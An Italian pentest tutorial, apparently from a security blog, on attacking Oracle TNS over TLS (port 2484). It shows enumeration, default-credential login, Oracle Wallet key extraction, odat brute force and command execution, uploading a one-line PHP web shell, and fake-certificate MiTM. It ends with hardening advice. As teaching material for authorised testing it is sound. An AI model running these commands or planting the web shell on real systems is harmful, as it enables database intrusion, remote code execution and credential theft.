networking

Porta 2484 Oracle TCPS: Wallet, TLS e Pentest

Porta 2484 Oracle TCPS: Wallet, TLS e Pentest

Porta 2484 Oracle TCPS nel pentest: TNS Listener cifrato, certificati e Oracle Wallet, TLS enumeration e differenze con la 2483.

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 4 min

Executive Summary — La porta 2484 è la versione SSL/TLS del TNS Listener Oracle. Mentre la porta 2483 (e la tradizionale 1521) trasmette tutto in chiaro — incluse credenziali, query e risultati — la 2484 cifra il traffico con TLS. Oracle implementa TLS tramite il “Wallet” — un keystore proprietario che contiene certificati e chiavi. Nel pentest, la 2484 protegge dalla sniffing delle credenziali ma non cambia le tecniche post-authentication: se hai credenziali valide, puoi connetterti e tutte le tecniche di exploitation della porta 2483 funzionano identicamente (enumerazione, escalation, RCE). Il valore aggiunto per il pentester è l’intelligence nel certificato TLS e il test per TLS misconfiguration.

Cos’è la porta 2484 (Oracle TNS SSL/TLS)

  • La 2484 è Oracle TNS con SSL/TLS — stesse tecniche della porta 2483, cambia solo il trasporto criptato
  • Il certificato TLS può rivelare hostname, dominio e dettagli del server
  • Oracle Wallet contiene le chiavi — se compromesso puoi decifrare il traffico o impersonare il server

Differenza tra 2483 e 2484 #

AspettoPorta 2483Porta 2484
ProtocolloTNS in chiaroTNS su SSL/TLS
CredenzialiIntercettabili via sniffingCifrate
Exploitation post-authIdenticaIdentica
Enumerazione SIDodat, tnscmdodat con –ssl, nmap ssl-cert
Default credentialsFunzionanoFunzionano (stessi account)

1. Enumerazione #

Nmap con SSL #

bash
nmap -sV -p 2484 --script=ssl-cert,ssl-enum-ciphers,oracle-tns-version 10.10.10.40
text
PORT     STATE SERVICE    VERSION
2484/tcp open  oracle-tns Oracle TNS listener (SSL)
| ssl-cert: Subject: commonName=oracle-prod-01.corp.internal
|   Subject Alternative Name: DNS:oracle-prod-01.corp.internal
|   Issuer: commonName=Corp Oracle CA
|   Not valid before: 2025-03-01
|   Not valid after:  2026-03-01
| ssl-enum-ciphers:
|   TLSv1.2:
|     TLS_RSA_WITH_AES_256_CBC_SHA256 - A

Intelligence dal certificato:

  • CN: oracle-prod-01.corp.internal — hostname interno, conferma che è produzione
  • Issuer: Corp Oracle CA — CA interna, non pubblica
  • Cipher: TLS_RSA_WITH_AES_256_CBC_SHA256 — no PFS (Perfect Forward Secrecy), se ottieni la chiave privata puoi decifrare traffico passato

Ispezione certificato #

bash
echo | openssl s_client -connect 10.10.10.40:2484 2>/dev/null | openssl x509 -noout -text

Enumerazione SID con SSL #

bash
odat sidguesser -s 10.10.10.40 -p 2484 --ssl

La flag --ssl dice a odat di usare TLS per la connessione.

Test connessione con sqlplus #

bash
sqlplus sys/change_on_install@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=10.10.10.40)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))" as sysdba

Il protocollo TCPS (TCP Secure) indica a sqlplus di usare TLS. Potrebbe richiedere un Oracle Wallet configurato lato client se il server richiede mutual TLS.

2. Oracle Wallet #

Oracle non usa i certificati standard del sistema operativo. Usa un Wallet — un keystore proprietario in formato PKCS#12 modificato.

Dove si trova il Wallet #

bash
# Path comune su Linux
find / -name "ewallet.p12" -o -name "cwallet.sso" 2>/dev/null
text
/opt/oracle/wallet/ewallet.p12
/opt/oracle/wallet/cwallet.sso
  • ewallet.p12 — Wallet protetto da password (PKCS#12)
  • cwallet.sso — Auto-login Wallet (SSO = Single Sign-On) — non richiede password

Estrarre certificati dal Wallet #

bash
# Se hai cwallet.sso (auto-login, no password):
orapki wallet display -wallet /opt/oracle/wallet/ -pwd ""
bash
# Se hai ewallet.p12 (con password):
orapki wallet display -wallet /opt/oracle/wallet/ -pwd WalletP@ss!
bash
# Conversione a formato standard (PKCS#12 → PEM):
openssl pkcs12 -in ewallet.p12 -out wallet_certs.pem -nodes

Con i certificati e le chiavi estratti puoi:

  • Decifrare traffico catturato (se il cipher non ha PFS)
  • Impersonare il server (MiTM)
  • Connetterti come client autorizzato (se il server richiede mutual TLS)

Cercare la password del Wallet #

bash
# In file di configurazione
grep -riE "wallet|ENCRYPTION_WALLET_LOCATION" /opt/oracle/ /etc/oracle/ 2>/dev/null

# sqlnet.ora
cat /opt/oracle/network/admin/sqlnet.ora
text
WALLET_LOCATION =
  (SOURCE =
    (METHOD = FILE)
    (METHOD_DATA =
      (DIRECTORY = /opt/oracle/wallet)))

SQLNET.AUTHENTICATION_SERVICES = (TCPS)
SSL_CLIENT_AUTHENTICATION = TRUE

SSL_CLIENT_AUTHENTICATION = TRUE → il server richiede mutual TLS. Serve un certificato client per connettersi.

3. Exploitation — Stesse Tecniche della 2483 #

Tutte le tecniche della porta 2483 funzionano sulla 2484. La differenza è solo il flag SSL nei comandi:

odat con SSL #

bash
# Password guesser
odat passwordguesser -s 10.10.10.40 -p 2484 -d ORCL --ssl

# Privesc
odat privesc -s 10.10.10.40 -p 2484 -d ORCL -U scott -P tiger --ssl

# OS command
odat externaltable -s 10.10.10.40 -p 2484 -d ORCL -U sys -P change_on_install --sysdba --ssl --exec /bin/bash "-c 'id'"

# File upload
odat utlfile -s 10.10.10.40 -p 2484 -d ORCL -U sys -P change_on_install --sysdba --ssl --putFile /var/www/html shell.php "<?php system(\$_GET['c']); ?>"

sqlplus con TCPS #

bash
sqlplus scott/tiger@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=10.10.10.40)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))"

Dentro sqlplus, tutti i comandi SQL sono identici: enumerazione utenti, dump hash, Java stored procedure per RCE, DBMS_SCHEDULER. Vedi la guida porta 2483 per ogni tecnica.

4. TLS Misconfiguration #

Cipher deboli #

bash
nmap -p 2484 --script=ssl-enum-ciphers 10.10.10.40

Se trovi cipher CBC o RC4 → vulnerabile a BEAST, POODLE. Se trovi TLS 1.0/1.1 → deprecati, potenzialmente downgrade attack.

Certificato self-signed senza validazione #

Se il client non valida il certificato del server:

bash
# MiTM con certificato fake
# Genera un certificato fake per il target
openssl req -x509 -newkey rsa:2048 -keyout fake-key.pem -out fake-cert.pem -days 365 -nodes \
  -subj "/CN=oracle-prod-01.corp.internal"

Se il client si connette al tuo proxy con il certificato fake senza errori → le credenziali passano per il tuo proxy.

Sniffing su 2483 se entrambe le porte sono aperte #

Se il server Oracle accetta connessioni sia sulla 2483 (chiaro) che sulla 2484 (SSL):

bash
nmap -sV -p 2483,2484 10.10.10.40

Se la 2483 è aperta → un attaccante sulla rete può sniffare le credenziali dei client che si connettono in chiaro. Il finding è: “la porta 2483 è aperta e accetta connessioni in chiaro nonostante la 2484 SSL sia disponibile”.

5. Detection & Hardening #

Hardening specifico SSL #

  • Disabilita la porta 2483 — forza solo connessioni SSL sulla 2484
  • Cipher forti — solo TLS 1.2+ con ECDHE (PFS)
  • Certificati da CA interna — non self-signed
  • Mutual TLS — richiedi certificato client (SSL_CLIENT_AUTHENTICATION = TRUE)
  • Wallet password forte — proteggi ewallet.p12 con password complessa
  • Permessi filesystem — solo l’utente oracle legge il Wallet directory
  • Rotazione certificati — scadenza ≤ 1 anno, rotazione automatica

listener.ora sicuro #

text
LISTENER =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCPS)(HOST = 0.0.0.0)(PORT = 2484))
  )

SSL_CLIENT_AUTHENTICATION = TRUE

WALLET_LOCATION =
  (SOURCE =
    (METHOD = FILE)
    (METHOD_DATA =
      (DIRECTORY = /opt/oracle/wallet)))

ADMIN_RESTRICTIONS_LISTENER = ON

Nessun listener sulla 2483 (solo TCPS sulla 2484), mutual TLS richiesto, admin restrictions attive.

6. Cheat Sheet Finale #

AzioneComando
Nmap SSLnmap -sV -p 2484 --script=ssl-cert,ssl-enum-ciphers target
Certificatoopenssl s_client -connect target:2484
SID enum SSLodat sidguesser -s target -p 2484 --ssl
Login TCPSsqlplus user/pass@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCPS)(HOST=target)(PORT=2484))(CONNECT_DATA=(SID=ORCL)))"
Default creds SSLsqlplus sys/change_on_install@... as sysdba
Brute force SSLodat passwordguesser -s target -p 2484 -d SID --ssl
RCE SSLodat externaltable ... --ssl --exec /bin/bash "-c 'id'"
Wallet locationfind / -name "ewallet.p12" -o -name "cwallet.sso"
Wallet displayorapki wallet display -wallet /path/
Extract certsopenssl pkcs12 -in ewallet.p12 -out certs.pem -nodes

Riferimento: Oracle Database Net Services Reference, ODAT documentation, Oracle Security Guide. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/oracle

hackita.it/supportohackita.it/servizi.

#Oracle TCPS #Oracle Wallet #TNS Listener

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.